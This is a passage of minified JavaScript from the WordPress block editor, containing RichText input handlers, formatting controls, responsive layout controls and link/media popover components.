n(t){const{keyCode:n}=t;if(t.defaultPrevented)return;if(n!==$a.BACKSPACE&amp;&amp;n!==$a.ESCAPE)return;const{registry:o}=e.current,{didAutomaticChange:r,getSettings:i}=o.select(Ii),{__experimentalUndo:s}=i();s&amp;&amp;r()&amp;&amp;(t.preventDefault(),s())}return t.addEventListener(&quot;keydown&quot;,n),()=&gt;{t.removeEventListener(&quot;keydown&quot;,n)}},e=&gt;t=&gt;{function n(n){const{disableFormats:o,onChange:r,value:i,formatTypes:s,tagName:l,onReplace:a,__unstableEmbedURLOnPaste:c,preserveWhiteSpace:u,pastePlainText:d}=e.current;if(!t.contains(n.target))return;if(n.defaultPrevented)return;const{plainText:h,html:g}=jw(n);if(n.preventDefault(),window.console.log(&quot;Received HTML:\n\n&quot;,g),window.console.log(&quot;Received plain text:\n\n&quot;,h),o)return void r((0,de.insert)(i,h));function m(e){const t=s.reduce(((e,{__unstablePasteRule:t})=&gt;(t&amp;&amp;e===i&amp;&amp;(e=t(i,{html:g,plainText:h})),e)),i);if(t!==i)r(t);else{const t=(0,de.create)({html:e});!function(e,t){if(t?.length){let n=e.formats.length;for(;n--;)e.formats[n]=[...t,...e.formats[n]||[]]}}(t,i.activeFormats),r((0,de.insert)(i,t))}}if(&quot;true&quot;===n.clipboardData.getData(&quot;rich-text&quot;))return void m(g);if(d)return void r((0,de.insert)(i,(0,de.create)({text:h})));let f=&quot;INLINE&quot;;const b=h.trim();c&amp;&amp;(0,de.isEmpty)(i)&amp;&amp;(0,Ha.isURL)(b)&amp;&amp;/^https?:/.test(b)&amp;&amp;(f=&quot;BLOCKS&quot;);const k=(0,p.pasteHandler)({HTML:g,plainText:h,mode:f,tagName:l,preserveWhiteSpace:u});&quot;string&quot;==typeof k?m(k):k.length&gt;0&amp;&amp;a&amp;&amp;(0,de.isEmpty)(i)&amp;&amp;a(k,k.length-1,-1)}const{defaultView:o}=t.ownerDocument;return o.addEventListener(&quot;paste&quot;,n),()=&gt;{o.removeEventListener(&quot;paste&quot;,n)}},e=&gt;t=&gt;{function n(t){const{keyCode:n}=t;if(t.defaultPrevented)return;const{value:o,onMerge:r,onRemove:i}=e.current;if(n===$a.DELETE||n===$a.BACKSPACE){const{start:e,end:s,text:l}=o,a=n===$a.BACKSPACE,c=o.activeFormats&amp;&amp;!!o.activeFormats.length;if(!(0,de.isCollapsed)(o)||c||a&amp;&amp;0!==e||!a&amp;&amp;s!==l.length)return;r?r(!a):i&amp;&amp;(0,de.isEmpty)(o)&amp;&amp;a&amp;&amp;i(!a),t.preventDefault()}}return t.addEventListener(&quot;keydown&quot;,n),()=&gt;{t.removeEventListener(&quot;keydown&quot;,n)}},e=&gt;t=&gt;{function n(t){if(t.keyCode!==$a.ENTER)return;const{onReplace:n,onSplit:o}=e.current;n&amp;&amp;o&amp;&amp;(t.__deprecatedOnSplit=!0)}function o(n){if(n.defaultPrevented)return;if(n.target!==t)return;if(n.keyCode!==$a.ENTER)return;const{value:o,onChange:r,disableLineBreaks:i,onSplitAtEnd:s,onSplitAtDoubleLineEnd:l,registry:a}=e.current;n.preventDefault();const{text:c,start:u,end:d}=o;n.shiftKey?i||r((0,de.insert)(o,&quot;\n&quot;)):s&amp;&amp;u===d&amp;&amp;d===c.length?s():l&amp;&amp;u===d&amp;&amp;d===c.length&amp;&amp;&quot;\n\n&quot;===c.slice(-2)?a.batch((()=&gt;{const e={...o};e.start=e.end-2,r((0,de.remove)(e)),l()})):i||r((0,de.insert)(o,&quot;\n&quot;))}const{defaultView:r}=t.ownerDocument;return r.addEventListener(&quot;keydown&quot;,o),t.addEventListener(&quot;keydown&quot;,n),()=&gt;{r.removeEventListener(&quot;keydown&quot;,o),t.removeEventListener(&quot;keydown&quot;,n)}},e=&gt;t=&gt;{function n(){const{registry:n}=e.current;if(!n.select(Ii).isMultiSelecting())return;const o=t.parentElement.closest(&#039;[contenteditable=&quot;true&quot;]&#039;);o&amp;&amp;o.focus()}return t.addEventListener(&quot;focus&quot;,n),()=&gt;{t.removeEventListener(&quot;focus&quot;,n)}}];function ER(e){const t=(0,h.useRef)(e);(0,h.useInsertionEffect)((()=&gt;{t.current=e}));const n=(0,h.useMemo)((()=&gt;jR.map((e=&gt;e(t)))),[t]);return(0,m.useRefEffect)((t=&gt;{if(!e.isSelected)return;const o=n.map((e=&gt;e(t)));return()=&gt;{o.forEach((e=&gt;e()))}}),[n,e.isSelected])}const TR={},MR=Symbol(&quot;usesContext&quot;);function PR({onChange:e,onFocus:t,value:n,forwardedRef:o,settings:r}){const{name:i,edit:s,[MR]:l}=r,a=(0,h.useContext)(iv),c=(0,h.useMemo)((()=&gt;l?Object.fromEntries(Object.entries(a).filter((([e])=&gt;l.includes(e)))):TR),[l,a]);if(!s)return null;const u=(0,de.getActiveFormat)(n,i),p=void 0!==u,g=(0,de.getActiveObject)(n),m=void 0!==g&amp;&amp;g.type===i;return(0,d.jsx)(s,{isActive:p,activeAttributes:p&amp;&amp;u.attributes||{},isObjectActive:m,activeObjectAttributes:m&amp;&amp;g.attributes||{},value:n,onChange:e,onFocus:t,contentRef:o,context:c},i)}function RR({formatTypes:e,...t}){return e.map((e=&gt;(0,rc.createElement)(PR,{settings:e,...t,key:e.name})))}function AR(e,t){if($R.isEmpty(e)){const e=BR(t);return e?`&lt;${e}&gt;&lt;/${e}&gt;`:&quot;&quot;}return Array.isArray(e)?(I()(&quot;wp.blockEditor.RichText value prop as children type&quot;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;,alternative:&quot;value prop as string&quot;,link:&quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;}),p.children.toHTML(e)):&quot;string&quot;==typeof e?e:e.toHTMLString()}function NR({value:e,tagName:t,multiline:n,format:o,...r}){return e=(0,d.jsx)(h.RawHTML,{children:AR(e,n)}),t?(0,d.jsx)(t,{...r,children:e}):e}var LR=(0,h.forwardRef)((function({children:e,identifier:t,tagName:n=&quot;div&quot;,value:o=&quot;&quot;,onChange:r,multiline:i,...s},l){I()(&quot;wp.blockEditor.RichText multiline prop&quot;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;,alternative:&quot;nested blocks (InnerBlocks)&quot;,link:&quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/nested-blocks-inner-blocks/&quot;});const{clientId:a}=C(),{getSelectionStart:c,getSelectionEnd:u}=(0,g.useSelect)(Ii),{selectionChange:p}=(0,g.useDispatch)(Ii),h=BR(i),m=`&lt;/${h}&gt;${o=o||`&lt;${h}&gt;&lt;/${h}&gt;`}&lt;${h}&gt;`.split(`&lt;/${h}&gt;&lt;${h}&gt;`);function f(e){r(`&lt;${h}&gt;${e.join(`&lt;/${h}&gt;&lt;${h}&gt;`)}&lt;/${h}&gt;`)}return m.shift(),m.pop(),(0,d.jsx)(n,{ref:l,children:m.map(((e,n)=&gt;(0,d.jsx)(FR,{identifier:`${t}-${n}`,tagName:h,value:e,onChange:e=&gt;{const t=m.slice();t[n]=e,f(t)},isSelected:void 0,onKeyDown:o=&gt;{if(o.keyCode!==$a.ENTER)return;o.preventDefault();const{offset:r}=c(),{offset:i}=u();if(&quot;number&quot;!=typeof r||&quot;number&quot;!=typeof i)return;const s=(0,de.create)({html:e});s.start=r,s.end=i;const l=(0,de.split)(s).map((e=&gt;(0,de.toHTMLString)({value:e}))),d=m.slice();d.splice(n,1,...l),f(d),p(a,`${t}-${n+1}`,0,0)},onMerge:e=&gt;{const o=m.slice();let r=0;if(e){if(!o[n+1])return;o.splice(n,2,o[n]+o[n+1]),r=o[n].length-1}else{if(!o[n-1])return;o.splice(n-1,2,o[n-1]+o[n]),r=o[n-1].length-1}f(o),p(a,`${t}-${n-(e?0:1)}`,r,r)},...s},n)))})}));const DR=(0,h.createContext)();DR.displayName=&quot;keyboardShortcutContext&quot;;const OR=(0,h.createContext)();OR.displayName=&quot;inputEventContext&quot;;const zR=Symbol(&quot;instanceId&quot;);function VR(e){const{__unstableMobileNoFocusOnMount:t,deleteEnter:n,placeholderTextColor:o,textAlign:r,selectionColor:i,tagsToEliminate:s,disableEditingMenu:l,fontSize:a,fontFamily:c,fontWeight:u,fontStyle:d,minWidth:p,maxWidth:h,disableSuggestions:g,disableAutocorrection:m,...f}=e;return f}function FR({children:e,tagName:t=&quot;div&quot;,value:n=&quot;&quot;,onChange:o,isSelected:r,multiline:i,inlineToolbar:s,wrapperClassName:l,autocompleters:a,onReplace:c,placeholder:u,allowedFormats:f,withoutInteractiveFormatting:b,onRemove:k,onMerge:v,onSplit:y,__unstableOnSplitAtEnd:x,__unstableOnSplitAtDoubleLineEnd:S,identifier:w,preserveWhiteSpace:B,__unstablePastePlainText:j,__unstableEmbedURLOnPaste:M,__unstableDisableFormats:P,disableLineBreaks:R,__unstableAllowPrefixTransformations:A,readOnly:N,...L},D){L=VR(L),y&amp;&amp;I()(&quot;wp.blockEditor.RichText onSplit prop&quot;,{since:&quot;6.4&quot;,alternative:&#039;block.json support key: &quot;splitting&quot;&#039;});const O=(0,m.useInstanceId)(FR),z=(0,h.useRef)(),V=C(),{clientId:F,isSelected:H}=V,U=V[_],G=(0,h.useContext)(iv),{bindableAttributes:$}=(0,h.useContext)(dv),W=(0,g.useRegistry)(),{selectionStart:K,selectionEnd:Z,isSelected:q}=(0,g.useSelect)((e=&gt;{if(!H)return{isSelected:!1};const{getSelectionStart:t,getSelectionEnd:n}=e(Ii),o=t(),i=n();let s;return void 0===r?s=o.clientId===F&amp;&amp;i.clientId===F&amp;&amp;(w?o.attributeKey===w:o[zR]===O):r&amp;&amp;(s=o.clientId===F),{selectionStart:s?o.offset:void 0,selectionEnd:s?i.offset:void 0,isSelected:s}}),[F,w,O,r,H]),{disableBoundBlock:Y,bindingsPlaceholder:X,bindingsLabel:Q}=(0,g.useSelect)((e=&gt;{if(!U?.[w]||!$)return{};const t=U[w],o=(0,p.getBlockBindingsSource)(t.source),r={};if(o?.usesContext?.length)for(const e of o.usesContext)r[e]=G[e];const i=!o?.canUserEditValue?.({select:e,context:r,args:t.args});if(n.length&gt;0)return{disableBoundBlock:i,bindingsPlaceholder:null,bindingsLabel:null};const{getBlockAttributes:s}=e(Ii),l=s(F);let a=null;if(o?.getFieldsList){const n=o.getFieldsList({select:e,context:r});a=n?.find((e=&gt;E()(e.args,t?.args)))?.label}const c=a??o?.label,u=i?c:(0,T.sprintf)((0,T.__)(&quot;Add %s&quot;),c),d=i?t?.args?.key||o?.label:(0,T.sprintf)((0,T.__)(&quot;Empty %s; start writing to edit its value&quot;),t?.args?.key||o?.label);return{disableBoundBlock:i,bindingsPlaceholder:l?.placeholder||u,bindingsLabel:d}}),[U,w,$,n,F,G]),J=N||Y||!!G?.[&quot;pattern/overrides&quot;]&amp;&amp;!(&quot;core/pattern-overrides&quot;===U?.__default?.source),{getSelectionStart:ee,getSelectionEnd:te,getBlockRootClientId:ne}=(0,g.useSelect)(Ii),{selectionChange:oe}=(0,g.useDispatch)(Ii),re=IR({allowedFormats:f,disableFormats:P}),ie=!re||re.length&gt;0,se=(0,h.useCallback)(((e,t)=&gt;{const n={},o=void 0===e&amp;&amp;void 0===t,r={clientId:F,[w?&quot;attributeKey&quot;:zR]:w||O};if(&quot;number&quot;==typeof e||o){if(void 0===t&amp;&amp;ne(F)!==ne(te().clientId))return;n.start={...r,offset:e}}if(&quot;number&quot;==typeof t||o){if(void 0===e&amp;&amp;ne(F)!==ne(ee().clientId))return;n.end={...r,offset:t}}oe(n)}),[F,ne,te,ee,w,O,oe]),{formatTypes:le,prepareHandlers:ae,valueHandlers:ce,changeHandlers:ue,dependencies:pe}=function({clientId:e,identifier:t,withoutInteractiveFormatting:n,allowedFormats:o}){const r=(0,g.useSelect)(_R,[]),i=(0,h.useMemo)((()=&gt;r.filter((({name:e,interactive:t,tagName:r})=&gt;!(o&amp;&amp;!o.includes(e)||n&amp;&amp;(t||yR.has(r)))))),[r,o,n]),s=(0,g.useSelect)((n=&gt;i.reduce(((o,r)=&gt;r.__experimentalGetPropsForEditableTreePreparation?{...o,...xR(r.__experimentalGetPropsForEditableTreePreparation(n,{richTextIdentifier:t,blockClientId:e}),r.name)}:o),{})),[i,e,t]),l=(0,g.useDispatch)(),a=[],c=[],u=[],d=[];for(const e in s)d.push(s[e]);return i.forEach((n=&gt;{if(n.__experimentalCreatePrepareEditableTree){const o=n.__experimentalCreatePrepareEditableTree(SR(s,n.name),{richTextIdentifier:t,blockClientId:e});n.__experimentalCreateOnChangeEditableValue?c.push(o):a.push(o)}if(n.__experimentalCreateOnChangeEditableValue){let o={};n.__experimentalGetPropsForEditableTreeChangeHandler&amp;&amp;(o=n.__experimentalGetPropsForEditableTreeChangeHandler(l,{richTextIdentifier:t,blockClientId:e}));const r=SR(s,n.name);u.push(n.__experimentalCreateOnChangeEditableValue({...&quot;object&quot;==typeof r?r:{},...o},{richTextIdentifier:t,blockClientId:e}))}})),{formatTypes:i,prepareHandlers:a,valueHandlers:c,changeHandlers:u,dependencies:d}}({clientId:F,identifier:w,withoutInteractiveFormatting:b,allowedFormats:re});function he(e){return le.forEach((t=&gt;{t.__experimentalCreatePrepareEditableTree&amp;&amp;(e=(0,de.removeFormat)(e,t.name,0,e.text.length))})),e.formats}const{value:ge,getValue:me,onChange:fe,ref:be}=(0,de.__unstableUseRichText)({value:n,onChange(e,{__unstableFormats:t,__unstableText:n}){o(e),Object.values(ue).forEach((e=&gt;{e(t,n)}))},selectionStart:K,selectionEnd:Z,onSelectionChange:se,placeholder:X||u,__unstableIsSelected:q,__unstableDisableFormats:P,preserveWhiteSpace:B,__unstableDependencies:[...pe,t],__unstableAfterParse:function(e){return ce.reduce(((t,n)=&gt;n(t,e.text)),e.formats)},__unstableBeforeSerialize:he,__unstableAddInvisibleFormats:function(e){return ae.reduce(((t,n)=&gt;n(t,e.text)),e.formats)}}),ke=function(e){return(0,Ss.__unstableUseAutocompleteProps)({...e,completers:fj(e)})}({onReplace:c,completers:a,record:ge,onChange:fe});!function({html:e,value:t}){const n=(0,h.useRef)(),o=!!t.activeFormats?.length,{__unstableMarkLastChangeAsPersistent:r}=(0,g.useDispatch)(Ii);(0,h.useLayoutEffect)((()=&gt;{if(n.current){if(n.current!==t.text){const e=window.setTimeout((()=&gt;{r()}),1e3);return n.current=t.text,()=&gt;{window.clearTimeout(e)}}r()}else n.current=t.text}),[e,o])}({html:n,value:ge});const ve=(0,h.useRef)(new Set),_e=(0,h.useRef)(new Set);function ye(){z.current?.focus()}const xe=t;return(0,d.jsxs)(d.Fragment,{children:[q&amp;&amp;(0,d.jsx)(DR.Provider,{value:ve,children:(0,d.jsx)(OR.Provider,{value:_e,children:(0,d.jsxs)(Ss.Popover.__unstableSlotNameProvider,{value:&quot;__unstable-block-tools-after&quot;,children:[e&amp;&amp;e({value:ge,onChange:fe,onFocus:ye}),(0,d.jsx)(RR,{value:ge,onChange:fe,onFocus:ye,formatTypes:le,forwardedRef:z})]})})}),q&amp;&amp;ie&amp;&amp;(0,d.jsx)(vR,{inline:s,editableContentElement:z.current}),(0,d.jsx)(xe,{role:&quot;textbox&quot;,&quot;aria-multiline&quot;:!R,&quot;aria-readonly&quot;:J,...L,draggable:void 0,&quot;aria-label&quot;:Q||L[&quot;aria-label&quot;]||u,...ke,ref:(0,m.useMergeRefs)([be,D,ke.ref,L.ref,ER({registry:W,getValue:me,onChange:fe,__unstableAllowPrefixTransformations:A,formatTypes:le,onReplace:c,selectionChange:oe,isSelected:q,disableFormats:P,value:ge,tagName:t,onSplit:y,__unstableEmbedURLOnPaste:M,pastePlainText:j,onMerge:v,onRemove:k,removeEditorOnlyFormats:he,disableLineBreaks:R,onSplitAtEnd:x,onSplitAtDoubleLineEnd:S,keyboardShortcuts:ve,inputEvents:_e}),z]),contentEditable:!J,suppressContentEditableWarning:!0,className:gs(&quot;block-editor-rich-text__editable&quot;,L.className,&quot;rich-text&quot;),tabIndex:0!==L.tabIndex||J?L.tabIndex:null,&quot;data-wp-block-attribute-key&quot;:w})]})}const HR=(UR=(0,h.forwardRef)(FR),(0,h.forwardRef)(((e,t)=&gt;{let n=e.value,o=e.onChange;Array.isArray(n)&amp;&amp;(I()(&quot;wp.blockEditor.RichText value prop as children type&quot;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;,alternative:&quot;value prop as string&quot;,link:&quot;https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/&quot;}),n=p.children.toHTML(e.value),o=t=&gt;e.onChange(p.children.fromDOM((0,de.__unstableCreateElement)(document,t).childNodes)));const r=e.multiline?LR:UR;return(0,d.jsx)(r,{...e,value:n,onChange:o,ref:t})})));var UR;HR.Content=NR,HR.isEmpty=e=&gt;!e||0===e.length;const GR=(0,h.forwardRef)(((e,t)=&gt;{if(C()[y]){const{children:n,tagName:o=&quot;div&quot;,value:r,onChange:i,isSelected:s,multiline:l,inlineToolbar:a,wrapperClassName:c,autocompleters:u,onReplace:p,placeholder:h,allowedFormats:g,withoutInteractiveFormatting:m,onRemove:f,onMerge:b,onSplit:k,__unstableOnSplitAtEnd:v,__unstableOnSplitAtDoubleLineEnd:_,identifier:y,preserveWhiteSpace:x,__unstablePastePlainText:S,__unstableEmbedURLOnPaste:w,__unstableDisableFormats:C,disableLineBreaks:B,__unstableAllowPrefixTransformations:I,readOnly:j,...E}=VR(e);return(0,d.jsx)(o,{ref:t,...E,dangerouslySetInnerHTML:{__html:AR(r,l)}})}return(0,d.jsx)(HR,{ref:t,...e,readOnly:!1})}));GR.Content=NR,GR.isEmpty=e=&gt;!e||0===e.length;var $R=GR;const WR=(0,h.forwardRef)(((e,t)=&gt;(0,d.jsx)($R,{ref:t,...e,__unstableDisableFormats:!0})));WR.Content=({value:e=&quot;&quot;,tagName:t=&quot;div&quot;,...n})=&gt;(0,d.jsx)(t,{...n,children:e});var KR=WR;var ZR=(0,h.forwardRef)((({__experimentalVersion:e,...t},n)=&gt;{if(2===e)return(0,d.jsx)(KR,{ref:n,...t});const{className:o,onChange:r,...i}=t;return(0,d.jsx)(jv.A,{ref:n,className:gs(&quot;block-editor-plain-text&quot;,o),onChange:e=&gt;r(e.target.value),...i})}));function qR({property:e,viewport:t,desc:n}){const o=(0,m.useInstanceId)(qR),r=n||(0,T.sprintf)((0,T._x)(&quot;Controls the %1$s property for %2$s viewports.&quot;,&quot;Text labelling a interface as controlling a given layout property (eg: margin) for a given screen size.&quot;),e,t.label);return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(&quot;span&quot;,{&quot;aria-describedby&quot;:`rbc-desc-${o}`,children:t.label}),(0,d.jsx)(Ss.VisuallyHidden,{as:&quot;span&quot;,id:`rbc-desc-${o}`,children:r})]})}var YR=function(e){const{title:t,property:n,toggleLabel:o,onIsResponsiveChange:r,renderDefaultControl:i,renderResponsiveControls:s,isResponsive:l=!1,defaultLabel:a={id:&quot;all&quot;,label:(0,T._x)(&quot;All&quot;,&quot;screen sizes&quot;)},viewports:c=[{id:&quot;small&quot;,label:(0,T.__)(&quot;Small screens&quot;)},{id:&quot;medium&quot;,label:(0,T.__)(&quot;Medium screens&quot;)},{id:&quot;large&quot;,label:(0,T.__)(&quot;Large screens&quot;)}]}=e;if(!t||!n||!i)return null;const u=o||(0,T.sprintf)((0,T.__)(&quot;Use the same %s on all screen sizes.&quot;),n),p=(0,T.__)(&quot;Choose whether to use the same value for all screen sizes or a unique value for each screen size.&quot;),g=i((0,d.jsx)(qR,{property:n,viewport:a}),a);return(0,d.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-responsive-block-control&quot;,children:[(0,d.jsx)(&quot;legend&quot;,{className:&quot;block-editor-responsive-block-control__title&quot;,children:t}),(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-responsive-block-control__inner&quot;,children:[(0,d.jsx)(Ss.ToggleControl,{__nextHasNoMarginBottom:!0,className:&quot;block-editor-responsive-block-control__toggle&quot;,label:u,checked:!l,onChange:r,help:p}),(0,d.jsxs)(&quot;div&quot;,{className:gs(&quot;block-editor-responsive-block-control__group&quot;,{&quot;is-responsive&quot;:l}),children:[!l&amp;&amp;g,l&amp;&amp;(s?s(c):c.map((e=&gt;(0,d.jsx)(h.Fragment,{children:i((0,d.jsx)(qR,{property:n,viewport:e}),e)},e.id))))]})]})]})};function XR({character:e,type:t,onUse:n}){const o=(0,h.useContext)(DR),r=(0,h.useRef)();return r.current=n,(0,h.useEffect)((()=&gt;{function n(n){$a.isKeyboardEvent[t](n,e)&amp;&amp;(r.current(),n.preventDefault())}return o.current.add(n),()=&gt;{o.current.delete(n)}}),[e,t]),null}function QR({name:e,shortcutType:t,shortcutCharacter:n,...o}){let r,i=&quot;RichText.ToolbarControls&quot;;return e&amp;&amp;(i+=`.${e}`),t&amp;&amp;n&amp;&amp;(r=$a.displayShortcut[t](n)),(0,d.jsx)(Ss.Fill,{name:i,children:(0,d.jsx)(Ss.ToolbarButton,{...o,shortcut:r})})}function JR({inputType:e,onInput:t}){const n=(0,h.useContext)(OR),o=(0,h.useRef)();return o.current=t,(0,h.useEffect)((()=&gt;{function t(t){t.inputType===e&amp;&amp;(o.current(),t.preventDefault())}return n.current.add(t),()=&gt;{n.current.delete(t)}}),[e]),null}function eA({units:e,...t}){const[n]=Ei(&quot;spacing.units&quot;),o=(0,Ss.__experimentalUseCustomUnits)({availableUnits:n||[&quot;%&quot;,&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vw&quot;],units:e});return(0,d.jsx)(Ss.__experimentalUnitControl,{units:o,...t})}var tA=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z&quot;})});var nA=function({url:e,onChange:t}){const[n,o]=(0,h.useReducer)((e=&gt;!e),!1);return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-url-input__button&quot;,children:[(0,d.jsx)(Ss.Button,{size:&quot;compact&quot;,icon:Nd,label:e?(0,T.__)(&quot;Edit link&quot;):(0,T.__)(&quot;Insert link&quot;),onClick:o,className:&quot;components-toolbar__control&quot;,isPressed:!!e}),n&amp;&amp;(0,d.jsx)(&quot;form&quot;,{className:&quot;block-editor-url-input__button-modal&quot;,onSubmit:e=&gt;{e.preventDefault(),o()},children:(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-url-input__button-modal-line&quot;,children:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-url-input__back&quot;,icon:tA,label:(0,T.__)(&quot;Close&quot;),onClick:o}),(0,d.jsx)(lc,{value:e||&quot;&quot;,onChange:t,suffix:(0,d.jsx)(Ss.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,d.jsx)(Ss.Button,{size:&quot;small&quot;,icon:ec,label:(0,T.__)(&quot;Submit&quot;),type:&quot;submit&quot;})})})]})})]})},oA=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z&quot;})});const rA=&quot;none&quot;,iA=&quot;custom&quot;,sA=&quot;media&quot;,lA=&quot;attachment&quot;,aA=[&quot;noreferrer&quot;,&quot;noopener&quot;],cA=({linkDestination:e,onChangeUrl:t,url:n,mediaType:o=&quot;image&quot;,mediaUrl:r,mediaLink:i,linkTarget:s,linkClass:l,rel:a,showLightboxSetting:c,lightboxEnabled:u,onSetLightbox:p,resetLightbox:g})=&gt;{const[m,f]=(0,h.useState)(!1),[b,k]=(0,h.useState)(null),[v,_]=(0,h.useState)(!1),[y,x]=(0,h.useState)(null),S=(0,h.useRef)(null),w=(0,h.useRef)();(0,h.useEffect)((()=&gt;{if(!w.current)return;(Ua.focus.focusable.find(w.current)[0]||w.current).focus()}),[v,n,u]);const C=()=&gt;{e!==sA&amp;&amp;e!==lA||x(&quot;&quot;),_(!0)},B=()=&gt;{_(!1)},I=()=&gt;{const e=[{linkDestination:sA,title:(0,T.__)(&quot;Link to image file&quot;),url:&quot;image&quot;===o?r:void 0,icon:oA}];return&quot;image&quot;===o&amp;&amp;i&amp;&amp;e.push({linkDestination:lA,title:(0,T.__)(&quot;Link to attachment page&quot;),url:&quot;image&quot;===o?i:void 0,icon:dc}),e},j=(0,d.jsxs)(Ss.__experimentalVStack,{spacing:&quot;3&quot;,children:[(0,d.jsx)(Ss.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Open in new tab&quot;),onChange:e=&gt;{const n=(e=&gt;{const t=e?&quot;_blank&quot;:void 0;let n;if(t){const e=(a??&quot;&quot;).split(&quot; &quot;);aA.forEach((t=&gt;{e.includes(t)||e.push(t)})),n=e.join(&quot; &quot;)}else{const e=(a??&quot;&quot;).split(&quot; &quot;).filter((e=&gt;!1===aA.includes(e)));n=e.length?e.join(&quot; &quot;):void 0}return{linkTarget:t,rel:n}})(e);t(n)},checked:&quot;_blank&quot;===s}),(0,d.jsx)(Ss.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Link relation&quot;),value:a??&quot;&quot;,onChange:e=&gt;{t({rel:e})},help:(0,h.createInterpolateElement)((0,T.__)(&quot;The &lt;a&gt;Link Relation&lt;/a&gt; attribute defines the relationship between a linked resource and the current document.&quot;),{a:(0,d.jsx)(Ss.ExternalLink,{href:&quot;https://developer.mozilla.org/docs/Web/HTML/Attributes/rel&quot;})})}),(0,d.jsx)(Ss.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Link CSS class&quot;),value:l||&quot;&quot;,onChange:e=&gt;{t({linkClass:e})}})]}),E=null!==y?y:n,M=!u||u&amp;&amp;!c,P=!E&amp;&amp;M,R=(I().find((t=&gt;t.linkDestination===e))||{}).title;return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.ToolbarButton,{icon:Nd,className:&quot;components-toolbar__control&quot;,label:(0,T.__)(&quot;Link&quot;),&quot;aria-expanded&quot;:m,onClick:()=&gt;{f(!0)},ref:k,isActive:!!n||u&amp;&amp;c}),m&amp;&amp;(0,d.jsx)(uR,{ref:w,anchor:b,onFocusOutside:e=&gt;{const t=S.current;t&amp;&amp;t.contains(e.target)||(f(!1),x(null),B())},onClose:()=&gt;{x(null),B(),f(!1)},renderSettings:M?()=&gt;j:null,additionalControls:P&amp;&amp;(0,d.jsxs)(Ss.NavigableMenu,{children:[I().map((e=&gt;(0,d.jsx)(Ss.MenuItem,{icon:e.icon,iconPosition:&quot;left&quot;,onClick:()=&gt;{x(null),(e=&gt;{const n=I();let o;o=e?(n.find((t=&gt;t.url===e))||{linkDestination:iA}).linkDestination:rA,t({linkDestination:o,href:e})})(e.url),B()},children:e.title},e.linkDestination))),c&amp;&amp;(0,d.jsx)(Ss.MenuItem,{className:&quot;block-editor-url-popover__expand-on-click&quot;,icon:kj,info:(0,T.__)(&quot;Scale the image with a lightbox effect.&quot;),iconPosition:&quot;left&quot;,onClick:()=&gt;{x(null),t({linkDestination:rA,href:&quot;&quot;}),p?.(!0),B()},children:(0,T.__)(&quot;Enlarge on click&quot;)},&quot;expand-on-click&quot;)]}),offset:13,children:u&amp;&amp;c&amp;&amp;!n&amp;&amp;!v?(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-url-popover__expand-on-click&quot;,children:[(0,d.jsx)(Dl,{icon:kj}),(0,d.jsxs)(&quot;div&quot;,{className:&quot;text&quot;,children:[(0,d.jsx)(&quot;p&quot;,{children:(0,T.__)(&quot;Enlarge on click&quot;)}),(0,d.jsx)(&quot;p&quot;,{className:&quot;description&quot;,children:(0,T.__)(&quot;Scales the image with a lightbox effect&quot;)})]}),(0,d.jsx)(Ss.Button,{icon:Ja,label:(0,T.__)(&quot;Disable enlarge on click&quot;),onClick:()=&gt;{p?.(!1)},size:&quot;compact&quot;})]}):!n||v?(0,d.jsx)(uR.LinkEditor,{className:&quot;block-editor-format-toolbar__link-container-content&quot;,value:E,onChangeInputValue:x,onSubmit:e=&gt;{if(y){const e=I().find((e=&gt;e.url===y))?.linkDestination||iA;t({href:(0,Ha.prependHTTP)(y),linkDestination:e,lightbox:{enabled:!1}})}B(),x(null),e.preventDefault()},autocompleteRef:S}):n&amp;&amp;!v?(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(uR.LinkViewer,{className:&quot;block-editor-format-toolbar__link-container-content&quot;,url:n,onEditLinkClick:C,urlLabel:R}),(0,d.jsx)(Ss.Button,{icon:Ja,label:(0,T.__)(&quot;Remove link&quot;),onClick:()=&gt;{t({linkDestination:rA,href:&quot;&quot;}),g?.()},size:&quot;compact&quot;})]}):void 0})]})};function uA(){return I()(&quot;wp.blockEditor.PreviewOptions&quot;,{version:&quot;6.5&quot;}),null}function dA(e){const[t,n]=(0,h.useState)(window.innerWidth);(0,h.useEffect)((()=&gt;{if(&quot;Desktop&quot;===e)return;const t=()=&gt;n(window.innerWidth);return 